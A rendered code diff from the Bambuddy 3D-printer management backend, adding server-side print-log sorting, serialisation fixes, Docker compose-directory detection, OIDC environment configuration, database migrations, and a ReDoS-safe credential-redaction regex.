     db: AsyncSession = Depends(get_db),
     db: AsyncSession = Depends(get_db),
     auth_result: tuple[User | None, bool] = Depends(
     auth_result: tuple[User | None, bool] = Depends(
         require_ownership_permission(
         require_ownership_permission(
@@ -72,37 +98,36 @@ async def get_print_log(
     total_result = await db.execute(count_query)
     total_result = await db.execute(count_query)
     total = total_result.scalar() or 0
     total = total_result.scalar() or 0
 
 
-    # Get paginated results
-    query = query.order_by(PrintLogEntry.created_at.desc()).offset(offset).limit(limit)
+    # Sorting happens here rather than in the browser because the table is
+    # paginated server-side: ordering the 25 rows the client happens to hold
+    # would answer "the most expensive print on this page", which is not what
+    # clicking a column header means.
+    sort_column = _SORTABLE_COLUMNS.get(sort_by)
+    if sort_column is None:
+        raise HTTPException(400, f"Cannot sort by {sort_by!r}")
+    ordering = sort_column.asc() if sort_dir == "asc" else sort_column.desc()
+    # NULLs last in both directions, so a column that is empty for half the
+    # rows (cost before a spool is priced, energy without a smart plug) never
+    # buries the rows that do have values. Left to the database this differs
+    # per backend — Postgres sorts NULLs high, SQLite sorts them low — so the
+    # same click would give two different first pages depending on deployment.
+    query = query.order_by(nullslast(ordering), PrintLogEntry.id.desc())
+    # id.desc() above is the tiebreaker: without it, rows sharing a value
+    # (every "completed" when sorting by status) come back in whatever order
+    # the planner picks, which can differ between pages and duplicate or drop
+    # a row as the user pages through.
+    query = query.offset(offset).limit(limit)
     result = await db.execute(query)
     result = await db.execute(query)
     entries = result.scalars().all()
     entries = result.scalars().all()
 
 
+    # Validate straight off the ORM rows rather than naming each field: the
+    # hand-written version dropped whatever it forgot to mention, and a
+    # forgotten field is indistinguishable from a NULL column on the wire.
+    # It lost failure_reason that way (#1687 part 4), then cost / energy_kwh /
+    # energy_cost, which were written to the table but never sent — so the
+    # Print Log's cost and energy columns read empty for every run (#2636).
     return PrintLogResponse(
     return PrintLogResponse(
-        items=[
-            PrintLogEntrySchema(
-                id=e.id,
-                archive_id=e.archive_id,
-                print_name=e.print_name,
-                printer_name=e.printer_name,
-                printer_id=e.printer_id,
-                status=e.status,
-                started_at=e.started_at,
-                completed_at=e.completed_at,
-                duration_seconds=e.duration_seconds,
-                filament_type=e.filament_type,
-                filament_color=e.filament_color,
-                filament_used_grams=e.filament_used_grams,
-                # failure_reason was silently dropped by the GET serialiser
-                # before #1687 part 4 — without it the Print Log table couldn't
-                # surface what the Failure Analysis widget already groups by.
-                failure_reason=e.failure_reason,
-                thumbnail_path=e.thumbnail_path,
-                created_by_id=e.created_by_id,
-                created_by_username=e.created_by_username,
-                created_at=e.created_at,
-            )
-            for e in entries
-        ],
+        items=[PrintLogEntrySchema.model_validate(e) for e in entries],
         total=total,
         total=total,
     )
     )
 
 
@@ -285,22 +310,7 @@ async def update_print_log_entry(
         entry.status,
         entry.status,
     )
     )
 
 
-    return PrintLogEntrySchema(
-        id=entry.id,
-        archive_id=entry.archive_id,
-        print_name=entry.print_name,
-        printer_name=entry.printer_name,
-        printer_id=entry.printer_id,
-        status=entry.status,
-        started_at=entry.started_at,
-        completed_at=entry.completed_at,
-        duration_seconds=entry.duration_seconds,
-        filament_type=entry.filament_type,
-        filament_color=entry.filament_color,
-        filament_used_grams=entry.filament_used_grams,
-        failure_reason=entry.failure_reason,
-        thumbnail_path=entry.thumbnail_path,
-        created_by_id=entry.created_by_id,
-        created_by_username=entry.created_by_username,
-        created_at=entry.created_at,
-    )
+    # Same field-by-field trap as the list route: this one also omitted cost
+    # and the energy pair, so the row the client merged back after an edit
+    # blanked whichever columns it was showing for them.
+    return PrintLogEntrySchema.model_validate(entry)

Разница между файлами не показана из-за своего большого размера
+ 719 - 86
backend/app/api/routes/print_queue.py


+ 19 - 16
backend/app/api/routes/printers.py

@@ -52,6 +52,7 @@ from backend.app.services.bambu_ftp import (
 )
 )
 from backend.app.services.printer_diagnostic import run_connection_diagnostic
 from backend.app.services.printer_diagnostic import run_connection_diagnostic
 from backend.app.services.printer_manager import (
 from backend.app.services.printer_manager import (
+    display_temperatures,
     drying_screen_only,
     drying_screen_only,
     get_derived_status_name,
     get_derived_status_name,
     printer_manager,
     printer_manager,
@@ -61,10 +62,11 @@ from backend.app.services.printer_manager import (
     supports_chamber_temp,
     supports_chamber_temp,
     supports_drying,
     supports_drying,
     supports_drying_while_printing,
     supports_drying_while_printing,
+    uniform_tray_filament_hint,
 )
 )
 from backend.app.utils.filament_ids import filament_id_to_setting_id
 from backend.app.utils.filament_ids import filament_id_to_setting_id
 from backend.app.utils.http import build_content_disposition
 from backend.app.utils.http import build_content_disposition
-from backend.app.utils.printer_models import uses_exhaust_fan_label
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C, uses_exhaust_fan_label
 
 
 logger = logging.getLogger(__name__)
 logger = logging.getLogger(__name__)
 router = APIRouter(prefix="/printers", tags=["printers"])
 router = APIRouter(prefix="/printers", tags=["printers"])
@@ -576,20 +578,12 @@ async def get_printer_status(
                     dry_target_temp = None
                     dry_target_temp = None
             if target_fil_val:
             if target_fil_val:
                 dry_filament = str(target_fil_val)
                 dry_filament = str(target_fil_val)
-            # Fallback: derive from first loaded tray when no cached target
-            # (drying started in a previous backend session, or cache wasn't
-            # seeded). Mirrors the popover seed heuristic.
-            if dry_target_temp is None or not dry_filament:
-                for tray in trays:
-                    if tray.tray_type:
-                        if not dry_filament:
-                            dry_filament = str(tray.tray_type)
-                        if dry_target_temp is None and tray.drying_temp:
-                            try:
-                                dry_target_temp = int(tray.drying_temp)
-                            except (TypeError, ValueError):
-                                pass
-                        break
+            # Fallback: name the filament from the loaded trays when there is no
+            # cached target (drying started in a previous backend session, or
+            # the cache wasn't seeded), and only when they agree. The
+            # temperature has no fallback — see uniform_tray_filament_hint.
+            if not dry_filament:
+                dry_filament = uniform_tray_filament_hint([tray.tray_type or "" for tray in trays])
 
 
             ams_units.append(
             ams_units.append(
                 AMSUnit(
                 AMSUnit(
@@ -869,6 +863,7 @@ async def get_overlay_status(
             "layer_num": None,
             "layer_num": None,
             "total_layers": None,
             "total_layers": None,
             "stg_cur_name": None,
             "stg_cur_name": None,
+            "temperatures": {},
             "time_format": time_format,
             "time_format": time_format,
         }
         }
 
 
@@ -885,6 +880,9 @@ async def get_overlay_status(
         "layer_num": state.layer_num,
         "layer_num": state.layer_num,
         "total_layers": state.total_layers,
         "total_layers": state.total_layers,
         "stg_cur_name": get_derived_status_name(state, printer.model),
         "stg_cur_name": get_derived_status_name(state, printer.model),
+        # Nozzle / bed / chamber readings for the overlay's temperature fields
+        # (#1422). Filtered rather than passed through: see display_temperatures.
+        "temperatures": display_temperatures(state.temperatures, printer.model),
         "time_format": time_format,
         "time_format": time_format,
     }
     }
 
 
@@ -3163,7 +3161,12 @@ async def set_bed_temperature(
 @router.post("/{printer_id}/temperature/chamber")
 @router.post("/{printer_id}/temperature/chamber")
 async def set_chamber_temperature(
 async def set_chamber_temperature(
     printer_id: int,
     printer_id: int,
-    target: int = Query(..., ge=0, le=60, description="Target chamber temperature in Celsius; 0 turns heating off"),
+    target: int = Query(
+        ...,
+        ge=0,
+        le=MAX_CHAMBER_TEMP_C,
+        description="Target chamber temperature in Celsius; 0 turns heating off",
+    ),
     _=RequirePermissionIfAuthEnabled(Permission.PRINTERS_CONTROL),
     _=RequirePermissionIfAuthEnabled(Permission.PRINTERS_CONTROL),
     db: AsyncSession = Depends(get_db),
     db: AsyncSession = Depends(get_db),
 ):
 ):

+ 83 - 0
backend/app/api/routes/updates.py

@@ -110,6 +110,84 @@ def _is_docker_environment() -> bool:
     return False
     return False
 
 
 
 
+# Mount points the shipped compose file gives Bambuddy. Only these are
+# consulted when guessing the compose directory — an arbitrary bind mount
+# (a NAS share, an external library root) says nothing about where the
+# compose file lives.
+_COMPOSE_BIND_MOUNTPOINTS = ("/app/data", "/app/logs")
+
+# A named volume resolves to ``.../docker/volumes/<project>_bambuddy_data/_data``
+# in mountinfo. That names the compose *project* but reveals nothing about
+# the directory holding the compose file, so these entries are skipped.
+_DOCKER_NAMED_VOLUME_ROOT = re.compile(r"/docker/volumes/[^/]+/_data/?$")
+
+
+def _compose_dir_from_mountinfo() -> str | None:
+    """Guess the host directory holding the compose file, or None (#2664).
+
+    ``docker compose pull`` only works from the directory containing the
+    compose file, so the command the update box prints is unusable until the
+    user remembers where that is. Compose knows the answer — it stamps
+    ``com.docker.compose.project.working_dir`` onto every container it
+    creates — but reading your own labels requires the Docker socket, and
+    mounting that into Bambuddy would hand the container root-equivalent
+    access to the host in exchange for a convenience string. So we infer.
+
+    ``/proc/self/mountinfo`` exposes the *host* side of a bind mount in its
+    root field: a ``./data:/app/data`` line in the compose file surfaces as
+    ``/opt/bambuddy/data``, whose parent is the compose directory. The leaf
+    must match the mount point's own name before we take the parent —
+    ``/mnt/nas/prints:/app/data`` is a bind mount whose parent is emphatically
+    not a compose directory.
+
+    This is a guess and is treated as one — it only ever prefills the setting
+    the user can overwrite. The root field is relative to the *mounted device*
+    rather than to the host's ``/``, so a compose directory that sits under a
+    separate mount loses that mount's own prefix. Measured against real
+    containers: a compose file on the root filesystem (here a ZFS dataset
+    mounted at ``/``) came back exactly right, while one under ``/tmp`` — its
+    own tmpfs — inferred ``/claude-1001/...`` for ``/tmp/claude-1001/...``.
+    Nothing inside the container can tell the two apart, which is precisely
+    why the field is editable. The shipped compose file uses named volumes,
+    for which nothing is inferable at all.
+    """
+    try:
+        with open("/proc/self/mountinfo") as f:
+            lines = f.readlines()
+    except OSError:
+        return None
+
+    for line in lines:
+        parts = line.split()
+        # mountID parentID major:minor root mountPoint ...
+        if len(parts) < 5:
+            continue
+        root, mount_point = parts[3], parts[4]
+        if mount_point not in _COMPOSE_BIND_MOUNTPOINTS:
+            continue
+        if _DOCKER_NAMED_VOLUME_ROOT.search(root):
+            continue
+        parent, _, leaf = root.rstrip("/").rpartition("/")
+        if parent and leaf == mount_point.rsplit("/", 1)[-1]:
+            return parent
+    return None
+
+
+def _detect_compose_dir() -> str | None:
+    """Best-effort compose directory for the update instructions (#2664).
+
+    ``BAMBUDDY_COMPOSE_DIR`` wins when set — it is the only source that is
+    stated rather than inferred, and the shipped compose file carries a
+    commented ``${PWD}`` line for it.
+    """
+    env_dir = os.environ.get("BAMBUDDY_COMPOSE_DIR", "").strip()
+    if env_dir:
+        return env_dir
+    if not _is_docker_environment():
+        return None
+    return _compose_dir_from_mountinfo()
+
+
 def _is_ha_addon() -> bool:
 def _is_ha_addon() -> bool:
     """Detect if running as a Home Assistant Supervisor addon.
     """Detect if running as a Home Assistant Supervisor addon.
 
 
@@ -527,6 +605,11 @@ async def check_for_updates(
                 "is_windows_installer": is_windows_installer,
                 "is_windows_installer": is_windows_installer,
                 "update_method": update_method,
                 "update_method": update_method,
                 "installer_download_url": installer_download_url,
                 "installer_download_url": installer_download_url,
+                # Prefill only — never the value the user saved. The settings
+                # response owns ``docker_compose_dir``; keeping the two apart
+                # means clearing the field falls back to the guess instead of
+                # resurrecting the cleared value from a stale update check.
+                "compose_dir_detected": _detect_compose_dir() if update_method == "docker" else None,
             }
             }
 
 
     except httpx.HTTPError as e:
     except httpx.HTTPError as e:

+ 6 - 0
backend/app/api/routes/virtual_printers.py

@@ -39,6 +39,7 @@ class VirtualPrinterCreate(BaseModel):
     target_printer_id: int | None = None
     target_printer_id: int | None = None
     auto_dispatch: bool = True
     auto_dispatch: bool = True
     queue_force_color_match: bool = False
     queue_force_color_match: bool = False
+    save_ams_mapping: bool = False
     gcode_injection: bool = False
     gcode_injection: bool = False
     bind_ip: str | None = None
     bind_ip: str | None = None
     remote_interface_ip: str | None = None
     remote_interface_ip: str | None = None
@@ -53,6 +54,7 @@ class VirtualPrinterUpdate(BaseModel):
     target_printer_id: int | None = None
     target_printer_id: int | None = None
     auto_dispatch: bool | None = None
     auto_dispatch: bool | None = None
     queue_force_color_match: bool | None = None
     queue_force_color_match: bool | None = None
+    save_ams_mapping: bool | None = None
     gcode_injection: bool | None = None
     gcode_injection: bool | None = None
     bind_ip: str | None = None
     bind_ip: str | None = None
     remote_interface_ip: str | None = None
     remote_interface_ip: str | None = None
@@ -109,6 +111,7 @@ async def _vp_to_dict(vp, db: AsyncSession, status: dict | None = None) -> dict:
         "target_printer_id": vp.target_printer_id,
         "target_printer_id": vp.target_printer_id,
         "auto_dispatch": vp.auto_dispatch,
         "auto_dispatch": vp.auto_dispatch,
         "queue_force_color_match": vp.queue_force_color_match,
         "queue_force_color_match": vp.queue_force_color_match,
+        "save_ams_mapping": vp.save_ams_mapping,
         "gcode_injection": vp.gcode_injection,
         "gcode_injection": vp.gcode_injection,
         "bind_ip": vp.bind_ip,
         "bind_ip": vp.bind_ip,
         "remote_interface_ip": vp.remote_interface_ip,
         "remote_interface_ip": vp.remote_interface_ip,
@@ -245,6 +248,7 @@ async def create_virtual_printer(
         target_printer_id=body.target_printer_id,
         target_printer_id=body.target_printer_id,
         auto_dispatch=body.auto_dispatch,
         auto_dispatch=body.auto_dispatch,
         queue_force_color_match=body.queue_force_color_match,
         queue_force_color_match=body.queue_force_color_match,
+        save_ams_mapping=body.save_ams_mapping,
         gcode_injection=body.gcode_injection,
         gcode_injection=body.gcode_injection,
         bind_ip=body.bind_ip,
         bind_ip=body.bind_ip,
         remote_interface_ip=body.remote_interface_ip,
         remote_interface_ip=body.remote_interface_ip,
@@ -423,6 +427,8 @@ async def update_virtual_printer(
         vp.auto_dispatch = body.auto_dispatch
         vp.auto_dispatch = body.auto_dispatch
     if body.queue_force_color_match is not None:
     if body.queue_force_color_match is not None:
         vp.queue_force_color_match = body.queue_force_color_match
         vp.queue_force_color_match = body.queue_force_color_match
+    if body.save_ams_mapping is not None:
+        vp.save_ams_mapping = body.save_ams_mapping
     if body.gcode_injection is not None:
     if body.gcode_injection is not None:
         vp.gcode_injection = body.gcode_injection
         vp.gcode_injection = body.gcode_injection
     if body.bind_ip is not None:
     if body.bind_ip is not None:

+ 19 - 0
backend/app/core/config.py

@@ -135,6 +135,25 @@ _INTENTIONAL_UNSETTINGS = {
     "LOG_DIR",  # config.py (above)
     "LOG_DIR",  # config.py (above)
     "LOG_LEVEL",  # main.py logging setup
     "LOG_LEVEL",  # main.py logging setup
     "BUG_REPORT_RELAY_URL",  # config.py (above)
     "BUG_REPORT_RELAY_URL",  # config.py (above)
+    # #1589 — api/routes/auth.py reads this on the login path. Unregistered it
+    # logged "possible typo" at every boot, telling an operator who is locked
+    # out and following the documented recovery that the variable is not real.
+    "BAMBUDDY_LOCAL_LOGIN",
+    # #2593 — core/oidc_env.py reads these directly; they are not Settings
+    # fields because they map to an OIDCProvider row, not to app config.
+    "BAMBUDDY_OIDC_NAME",
+    "BAMBUDDY_OIDC_ISSUER_URL",
+    "BAMBUDDY_OIDC_CLIENT_ID",
+    "BAMBUDDY_OIDC_CLIENT_SECRET",
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
 }
 }
 
 
 _known_settings_fields = {f.upper() for f in settings.model_fields}
 _known_settings_fields = {f.upper() for f in settings.model_fields}

+ 166 - 0
backend/app/core/database.py

@@ -280,6 +280,7 @@ async def init_db():
         print_log,
         print_log,
         print_queue,
         print_queue,
         printer,
         printer,
+        printer_ha_sensor,
         printer_sensor_history,
         printer_sensor_history,
         project,
         project,
         project_bom,
         project_bom,
@@ -1640,6 +1641,15 @@ async def run_migrations(conn):
             conn, "ALTER TABLE virtual_printers ADD COLUMN queue_force_color_match BOOLEAN DEFAULT FALSE"
             conn, "ALTER TABLE virtual_printers ADD COLUMN queue_force_color_match BOOLEAN DEFAULT FALSE"
         )
         )
 
 
+    # Migration: Add save_ams_mapping column to virtual_printers. Opt-in flag:
+    # when true, VP queue-mode uploads persist the slicer's own AMS-slot pick
+    # onto the archive (`extra_data.slicer_ams_mapping`) for reuse on reprint.
+    # Default false to preserve current behaviour for upgraders.
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE virtual_printers ADD COLUMN save_ams_mapping BOOLEAN DEFAULT 0")
+    else:
+        await _safe_execute(conn, "ALTER TABLE virtual_printers ADD COLUMN save_ams_mapping BOOLEAN DEFAULT FALSE")
+
     # Per-VP opt-in for auto-print G-code injection (#1516). Default false so
     # Per-VP opt-in for auto-print G-code injection (#1516). Default false so
     # existing gcode_snippets users don't silently start injecting on VP/Studio
     # existing gcode_snippets users don't silently start injecting on VP/Studio
     # Send jobs after upgrading.
     # Send jobs after upgrading.
@@ -2916,6 +2926,29 @@ async def run_migrations(conn):
     except (OperationalError, ProgrammingError):
     except (OperationalError, ProgrammingError):
         pass
         pass
 
 
+    # Migration (#342): batch orders — planning metadata on print_batches. The
+    # per-plate target rows live in their own table, created by create_all().
+    await _safe_execute(
+        conn, "ALTER TABLE print_batches ADD COLUMN project_id INTEGER REFERENCES projects(id) ON DELETE SET NULL"
+    )
+    await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN notes TEXT")
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN due_date DATETIME")
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN completed_at DATETIME")
+    else:
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN due_date TIMESTAMP")
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN completed_at TIMESTAMP")
+
+    # Migration (#342): attribute a logged run to the queue item that produced
+    # it, so batch cost/energy can be summed without guessing from archive_id.
+    await _safe_execute(
+        conn,
+        "ALTER TABLE print_log_entries ADD COLUMN queue_item_id INTEGER REFERENCES print_queue(id) ON DELETE SET NULL",
+    )
+    await _safe_execute(
+        conn, "CREATE INDEX IF NOT EXISTS ix_print_log_entries_queue_item_id ON print_log_entries (queue_item_id)"
+    )
+
     # Migration: Shortest-job-first scheduling columns on print_queue
     # Migration: Shortest-job-first scheduling columns on print_queue
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN print_time_seconds INTEGER")
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN print_time_seconds INTEGER")
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN been_jumped BOOLEAN DEFAULT FALSE NOT NULL")
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN been_jumped BOOLEAN DEFAULT FALSE NOT NULL")
@@ -4161,6 +4194,14 @@ async def run_migrations(conn):
     else:
     else:
         await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_autologin BOOLEAN DEFAULT false")
         await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_autologin BOOLEAN DEFAULT false")
 
 
+    # Migration: Add is_env_managed column to oidc_providers (#2593). Marks the
+    # provider upserted from BAMBUDDY_OIDC_* env vars on startup. Postgres
+    # rejects ``DEFAULT 0`` for BOOLEAN columns.
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_env_managed BOOLEAN DEFAULT 0")
+    else:
+        await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_env_managed BOOLEAN DEFAULT false")
+
     # Migration: Add dispatch_attempts to print_queue (#2555). Counts the times
     # Migration: Add dispatch_attempts to print_queue (#2555). Counts the times
     # the start-watchdog reverted the row from 'printing' back to 'pending' so a
     # the start-watchdog reverted the row from 'printing' back to 'pending' so a
     # printer that never actually starts stops being retried forever. INTEGER
     # printer that never actually starts stops being retried forever. INTEGER
@@ -4294,6 +4335,131 @@ async def run_migrations(conn):
             conn, "ALTER TABLE notification_providers ADD COLUMN on_plate_clear_required BOOLEAN DEFAULT false"
             conn, "ALTER TABLE notification_providers ADD COLUMN on_plate_clear_required BOOLEAN DEFAULT false"
         )
         )
 
 
+    # Migration: variant grouping for library files (#671 / #2570). The
+    # `file_variant_groups` table itself needs no migration — create_all() above
+    # builds it — but the two member-side columns do. INTEGER and the inline
+    # REFERENCES clause are spelled identically on SQLite and Postgres, and
+    # SQLite accepts a REFERENCES on ADD COLUMN (same form as the
+    # pipeline_runs.parent_run_id migration at the top of this function).
+    await _safe_execute(
+        conn,
+        "ALTER TABLE library_files ADD COLUMN variant_group_id INTEGER "
+        "REFERENCES file_variant_groups(id) ON DELETE SET NULL",
+    )
+    await _safe_execute(conn, "ALTER TABLE library_files ADD COLUMN variant_position INTEGER DEFAULT 0")
+    # User-declared target model for a file whose 3MF does not say (#671).
+    # VARCHAR(50) is spelled identically on SQLite and Postgres.
+    await _safe_execute(conn, "ALTER TABLE library_files ADD COLUMN variant_target_model VARCHAR(50)")
+    # The model declares index=True, so fresh installs get this from create_all();
+    # migrated databases need it spelled out. Resolution looks members up by group
+    # on every scheduler pass that touches a grouped item.
+    await _safe_execute(
+        conn,
+        "CREATE INDEX IF NOT EXISTS ix_library_files_variant_group_id ON library_files (variant_group_id)",
+    )
+    await _migrate_backfill_variant_groups(conn)
+
+    # Migration: Home Assistant sensor alerts (#1148). The printer_ha_sensors
+    # table itself is new, so create_all() builds it; only the provider opt-in
+    # column needs adding to existing databases.
+    #
+    # DEFAULT FALSE, not DEFAULT 0: Postgres will not take an integer default
+    # for a boolean column, and _safe_execute swallows the DatatypeMismatchError
+    # — so the older "BOOLEAN DEFAULT 0" migrations above quietly do nothing on
+    # Postgres and only work there because create_all() builds the column on a
+    # fresh install. SQLite has understood FALSE since 3.23, so this spelling
+    # is the one that actually applies on both.
+    await _safe_execute(conn, "ALTER TABLE notification_providers ADD COLUMN on_ha_sensor_alert BOOLEAN DEFAULT FALSE")
+
+
+async def _migrate_backfill_variant_groups(conn) -> None:
+    """Build variant groups from the slice provenance already on disk (#671 / #2570).
+
+    ``sliced_from_library_file_id`` has been stamped into ``file_metadata`` by the
+    Slice button (routes/library.py) and the pipeline runner (routes/pipeline_runs.py)
+    since those features shipped, and until now nothing ever read it back — the
+    link existed but was inert. This promotes it to real group membership so an
+    existing library arrives with its slice sets already grouped instead of
+    requiring the user to re-declare by hand what Bambuddy itself recorded.
+
+    Only sources with **two or more** sliced children carrying **distinct**
+    ``sliced_for_model`` values produce a group:
+
+    - Fewer than two candidates is not a choice, and a one-member group would
+      change nothing at print time while creating a row per sliced file in every
+      library on earth.
+    - Two children sliced for the same printer are not alternatives — the
+      resolver has no basis to prefer one, so grouping them would turn a
+      harmless duplicate into an arbitrary pick. Those sources are skipped
+      whole; the user can still group them by hand and choose an order.
+
+    The unsliced source file is deliberately not a member. It has no
+    ``sliced_for_model``, so it can never be a dispatch candidate; showing it
+    alongside its variants is a File Manager listing concern, which is out of
+    scope.
+
+    Idempotent: only files with no group yet are considered, so a re-run after a
+    partial apply resumes rather than duplicating, and a user who has since
+    ungrouped files by hand does not get them silently regrouped.
+    """
+    from sqlalchemy import text
+
+    from backend.app.models.library import FileVariantGroup
+
+    if is_sqlite():
+        source_expr = "json_extract(file_metadata, '$.sliced_from_library_file_id')"
+        model_expr = "json_extract(file_metadata, '$.sliced_for_model')"
+    else:
+        # file_metadata is JSON, not JSONB — cast before using the -> operators,
+        # matching _migrate_drop_library_print_name above.
+        source_expr = "file_metadata::jsonb->>'sliced_from_library_file_id'"
+        model_expr = "file_metadata::jsonb->>'sliced_for_model'"
+
+    async with conn.begin_nested():
+        rows = (
+            await conn.execute(
+                text(
+                    f"SELECT id, {source_expr} AS source_id, {model_expr} AS model "  # noqa: S608 — dialect literals
+                    "FROM library_files "
+                    f"WHERE {source_expr} IS NOT NULL AND {model_expr} IS NOT NULL "
+                    "AND variant_group_id IS NULL AND deleted_at IS NULL "
+                    "ORDER BY id"
+                )
+            )
+        ).fetchall()
+
+        by_source: dict[str, list[tuple[int, str]]] = {}
+        for file_id, source_id, model in rows:
+            by_source.setdefault(str(source_id), []).append((file_id, str(model)))
+
+        for source_id, members in by_source.items():
+            if len(members) < 2:
+                continue
+            models = [m for _, m in members]
+            if len(set(models)) != len(models):
+                # Same printer sliced twice — ambiguous, leave it to the user.
+                continue
+
+            # Name the group after the source file when it is still around; its
+            # filename is what the user recognises. A deleted source leaves the
+            # variants perfectly usable, so fall back rather than skip.
+            name_row = (
+                await conn.execute(
+                    text("SELECT filename FROM library_files WHERE id = :sid"),
+                    {"sid": int(source_id)},
+                )
+            ).fetchone()
+            group_name = name_row[0] if name_row else f"{members[0][1]} + {len(members) - 1} more"
+
+            result = await conn.execute(FileVariantGroup.__table__.insert().values(name=group_name))
+            group_id = result.inserted_primary_key[0]
+
+            for position, (file_id, _model) in enumerate(members):
+                await conn.execute(
+                    text("UPDATE library_files SET variant_group_id = :gid, variant_position = :pos WHERE id = :fid"),
+                    {"gid": group_id, "pos": position, "fid": file_id},
+                )
+
 
 
 _USER_PRINT_TEMPLATE_RENAMES: tuple[tuple[str, str, str], ...] = (
 _USER_PRINT_TEMPLATE_RENAMES: tuple[tuple[str, str, str], ...] = (
     ("user_print_start", "User Print Started", "User Print Started Email"),
     ("user_print_start", "User Print Started", "User Print Started Email"),

+ 14 - 1
backend/app/core/logging_filters.py

@@ -27,7 +27,20 @@ import re
 # external camera URL) from leaving its tail in the log. Named groups let
 # external camera URL) from leaving its tail in the log. Named groups let
 # callers choose how much to mask: the log pipeline keeps the username, the
 # callers choose how much to mask: the log pipeline keeps the username, the
 # support-bundle sanitizer drops it (see ``log_reader.sanitize_log_content``).
 # support-bundle sanitizer drops it (see ``log_reader.sanitize_log_content``).
-URL_CREDENTIALS_PATTERN = re.compile(r"(?P<scheme>[a-zA-Z][a-zA-Z0-9+.\-]*://)(?P<user>[^/:@\s]+):(?P<secret>[^/\s]+)@")
+#
+# The scheme's repetition is bounded deliberately. As an unbounded ``*`` the
+# match was quadratic in the length of the subject (CodeQL py/polynomial-redos):
+# on a long run of scheme-legal characters the engine restarts at every offset
+# and consumes to the end each time before failing to find ``://``. Measured at
+# 557ms for a 32KB line, quadrupling per doubling. ffmpeg echoes the operator's
+# camera URL back in its stderr, and that whole string reaches this pattern
+# before any truncation, so the subject length is attacker-influenced. A cap
+# makes the work per offset constant. 63 is far above any real scheme (the
+# longest registered one is under 20 characters), and a longer pseudo-scheme
+# still gets its secret masked — the match simply starts from a later offset.
+URL_CREDENTIALS_PATTERN = re.compile(
+    r"(?P<scheme>[a-zA-Z][a-zA-Z0-9+.\-]{0,63}://)(?P<user>[^/:@\s]+):(?P<secret>[^/\s]+)@"
+)
 
 
 
 
 def redact_url_credentials(text: str | None) -> str | None:
 def redact_url_credentials(text: str | None) -> str | None:

+ 278 - 0
backend/app/core/oidc_env.py

@@ -0,0 +1,278 @@
+"""Read the single OIDC provider defined by BAMBUDDY_OIDC_* env vars (#2593).
+
+A declarative deployment (compose, Helm, GitOps) has no way to click through
+the settings UI, so one provider can be configured entirely from the
+environment. This module only reads and defaults; validity is decided by the
+same OIDCProviderCreate schema the API uses, so env config cannot bypass a
+check the UI enforces.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import os
+
+from pydantic import ValidationError
+from sqlalchemy import select, update
+from sqlalchemy.ext.asyncio import AsyncSession
+
+logger = logging.getLogger(__name__)
+
+# All four or nothing: a provider missing its secret would be written to the
+# database and then fail at authorize time, long after the operator could
+# connect the failure to a typo in their compose file.
+_REQUIRED = (
+    "BAMBUDDY_OIDC_NAME",
+    "BAMBUDDY_OIDC_ISSUER_URL",
+    "BAMBUDDY_OIDC_CLIENT_ID",
+    "BAMBUDDY_OIDC_CLIENT_SECRET",
+)
+
+_TRUTHY = {"true", "1", "yes"}
+_FALSY = {"false", "0", "no"}
+
+
+class EnvOIDCConfigError(Exception):
+    """A BAMBUDDY_OIDC_* value the reader cannot interpret. Only ever carries a
+    boolean variable's name and value -- booleans are not secret, so the message
+    is safe to log in full (unlike client_secret, which never reaches here)."""
+
+
+def env_bool(key: str, default: bool, *, strict: bool = True) -> bool:
+    """Parse a boolean env var. Absent or blank -> default (empty == unset).
+
+    strict (the default): an unrecognized non-empty value raises
+    EnvOIDCConfigError, so a typo is refused loudly rather than silently read as
+    the wrong thing. strict=False: an unrecognized value falls back to the
+    default instead -- for a caller on a request path where a raise would be a
+    500, not a skipped startup config (see _local_login_env_bypass).
+    """
+    value = os.environ.get(key)
+    if value is None or value.strip() == "":
+        return default  # absent or blank == unset -> default, per the module's promise
+    norm = value.strip().lower()
+    if norm in _TRUTHY:
+        return True
+    if norm in _FALSY:
+        return False
+    if strict:
+        raise EnvOIDCConfigError(f"{key}={value!r} is not a recognized boolean (use true/1/yes or false/0/no)")
+    return default
+
+
+def read_env_oidc_config() -> dict | None:
+    """The provider's fields from the environment, or None if it isn't configured.
+
+    An empty required var counts as unset -- `BAMBUDDY_OIDC_CLIENT_SECRET=` in
+    a compose file is a forgotten value, not an intentional empty secret. Blank
+    means blank *after* stripping, and the surviving value is stripped too: a
+    Kubernetes Secret written as a block scalar (``stringData: secret: |``) or
+    created from a file carries a trailing newline that nothing downstream
+    rejects -- max_length is the only bound the schema puts on these four. An
+    issuer_url with a trailing newline is stored and enabled, and then fails
+    with httpx.InvalidURL on the first click of the SSO button, which is the
+    authorize-time failure the all-or-nothing rule above exists to prevent.
+    """
+    required = {key: (os.environ.get(key) or "").strip() for key in _REQUIRED}
+    if not all(required.values()):
+        return None
+
+    return {
+        "name": required["BAMBUDDY_OIDC_NAME"],
+        "issuer_url": required["BAMBUDDY_OIDC_ISSUER_URL"],
+        "client_id": required["BAMBUDDY_OIDC_CLIENT_ID"],
